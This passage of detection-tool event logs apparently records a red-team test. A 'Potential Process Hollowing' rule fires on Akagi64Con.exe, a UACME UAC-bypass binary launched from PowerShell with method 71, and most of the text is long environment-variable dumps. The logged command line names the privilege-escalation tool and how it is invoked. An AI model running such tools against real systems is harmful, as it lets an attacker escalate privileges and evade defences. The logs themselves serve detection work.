Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 1667665 + Pid: 11932 + Tid: 1776 + Type: UnmapViewFile + CPU: 5 + Name: UnmapViewFile + Category: file + Description: Unmaps a mapped view of a file from the calling process's address space + Host: archrabbit + Timestamp: 2025-11-25 15:17:59.6113301 +0100 CET + Params: file_key➜ ffffce863bbc9180, file_path➜ , offset➜ 0, pid➜ 11932, protection➜ EXECUTE_READWRITE|READONLY, section_type➜ IMAGE, view_base➜ 270d0890000, view_size➜ 434176 + Metadata: subtechnique.ref: https://attack.mitre.org/techniques/T1055/012/, rule.name: Potential Process Hollowing, technique.id: T1055, subtechnique.name: Process Hollowing, rule.seq.link: 2890466773138669568, tactic.name: Defense Evasion, technique.ref: https://attack.mitre.org/techniques/T1055/, subtechnique.id: T1055.012, tactic.id: TA0005, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.name: Process Injection + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 1667728 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:17:59.6218842 +0100 CET + Params: base_address➜ 7ffb99f40000, checksum➜ 0, default_address➜ 7ffb99f40000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\AxImp\ca4a65a92bd27aec24b76530261ae608\AxImp.ni.exe, image_size➜ 90112, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: subtechnique.id: T1055.012, subtechnique.name: Process Hollowing, subtechnique.ref: https://attack.mitre.org/techniques/T1055/012/, rule.name: Potential Process Hollowing, tactic.name: Defense Evasion, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 2890466773138669568, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, tactic.id: TA0005 + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program 